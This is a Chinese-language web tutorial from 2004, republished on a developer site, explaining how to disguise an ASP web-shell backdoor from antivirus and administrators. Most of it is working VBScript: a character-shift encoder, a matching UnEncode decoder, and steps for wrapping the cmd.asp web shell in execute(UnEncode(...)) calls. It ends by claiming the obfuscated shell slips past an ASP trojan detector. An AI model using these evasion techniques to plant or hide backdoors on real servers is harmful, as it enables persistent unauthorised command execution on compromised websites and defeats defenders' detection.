ASP後門之終極偽裝 - 中國WEB開發者網絡 (http://www.webasp.net) -- 技術教程 (http://www.webasp.net/article/) --- ASP後門之終極偽裝 (http://www.webasp.net/article/16/15075.htm) |
| -- 作者:未知 -- 發佈日期: 2004-11-25 |
| 記得當年asp木馬出來的時候號稱「永不被殺的木馬」,呵呵,時至今日,隨便什麼殺毒軟件都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟件思路影響,我們也可以給asp木馬「加殼」(呵呵,當然不是用UPX等)。還等什麼?請往下看。
其實這個思路很簡單,就是把asp代碼編碼,執行時再解碼。這裡有兩個方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數。 先說說Script Encoder。這個東東可以在微軟官方網站免費下到,而且還附贈詳細使用說明,這裡就不多說了吧。但是經過它加密後的文件會有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個asp文件被加密了。那怎麼解密呢?這裡提供一個解密軟件(》點擊進入下載《)。現在知道了吧,微軟的Script Encoder不保險,所以呢,我們要自己寫一個程序出來「加殼」。 asp的execute函數是拿來執行字符串的,即是說可以把asp語句寫成字符串,然後用execute來執行。比如這行代碼:execute("response.write(""hackerXfiles"")"),執行後的效果等同於執行response.write("hackerXfiles")。這裡由於execute函數里的東東是字符串,故遇到引號要雙寫。呵呵,既然execute裡是字符串,那麼我們就可以把裡面的東東拿來加密了。 怎麼加密呢?呵呵,就用最簡單的移位法好了。請看代碼: but=1 cc=replace(nr,vbcrlf,"胡") for i= 1 to len(cc) if mid(cc,i,1)<>"胡" then pk=asc(mid(cc,i,1))+but if pk>126 then pk=pk-95 elseif pk<32 then pk=pk+95 end if temp=temp&chr(pk) else temp=temp&"胡" end if next temp=replace(temp,"""","""""") response.write(temp) 這段代碼就是asp下的循環移位法。那個變量but就是移位的位數,可修改。呵呵,怎麼叫循環呢?因為程序會比較字符的ascii碼,當大於126或者小於32時就會處理,使範圍在32∼126之間。因為這樣可以避免出現windows不能顯示的字符。這也是一開始就把回車換行符替換掉的原因。這裡我自己寫了一個移位加密的asp程序xor.asp附上,希望對你有幫助。 那就讓我們來看看用上面代碼把response.write("hackerXfiles")加密後的結果:「sftqpotf/xsjuf)#ibdlfsYgjmft#*」,嘿嘿,這回神仙也看不懂了吧^_^ 既然加了密,當然要解密啦,看解密代碼: function UnEncode(temp) but=1 '這個是移位法所移的位數!注意修改此處與加密時使用的一致 for i =1 to len(temp) if mid(temp,i,1)<>"胡" then pk=asc(mid(temp,i,1))-but if pk>126 then pk=pk-95 elseif pk<32 then pk=pk+95 end if a=a&chr(pk) else a=a&vbcrlf end if next UnEncode=a end function 呵呵,現在知道怎麼執行了吧,只需調用這個解密函數就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎麼樣,是不是順利執行了! 在這裡給大家一個示範,好讓大家明白怎麼加密asp木馬。由於海洋的asp木馬代碼太多,我人又懶,就拿那個短小精悍的cmd.asp來示範吧! 首先運行我寫的那個xor.asp,然後用記事本打開cmd.asp,將它的asp代碼部分複製到xor.asp的文本框(看圖), 填好移位參數(這裡我用的1),點「轉換」,呵呵,結果就出來了。然後新建一個文本文檔,把cmd.asp的內容複製進去,前面那個UnEncode函數內容也添進去(這裡要注意修改UnEncode函數里變量but的值與加密時選的移位參數值一致),然後把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結果賦值。呵呵,然後保存為asp文件就ok啦!這裡就再囉嗦幾句。如果代碼比較長,可以分成幾部分加密,然後多用幾個execute執行就是,但是要注意必須保證asp代碼的完整性,也就是說不能把相關聯的代碼如if、end if分到兩個execute裡去了。 看看吧,同樣可以運行! 8期的光盤裡有個思易ASP木馬追捕器,呵呵,正好順手拿來檢測我們今天的成果。嘿嘿,看結果,它對cmd.asp原版本和用Script Encoder加過密的海洋頂端網的2005版可以檢測到,而對我們剛才精心炮製的xcmd.asp卻什麼都檢測不到!呵呵 |
| webasp.net |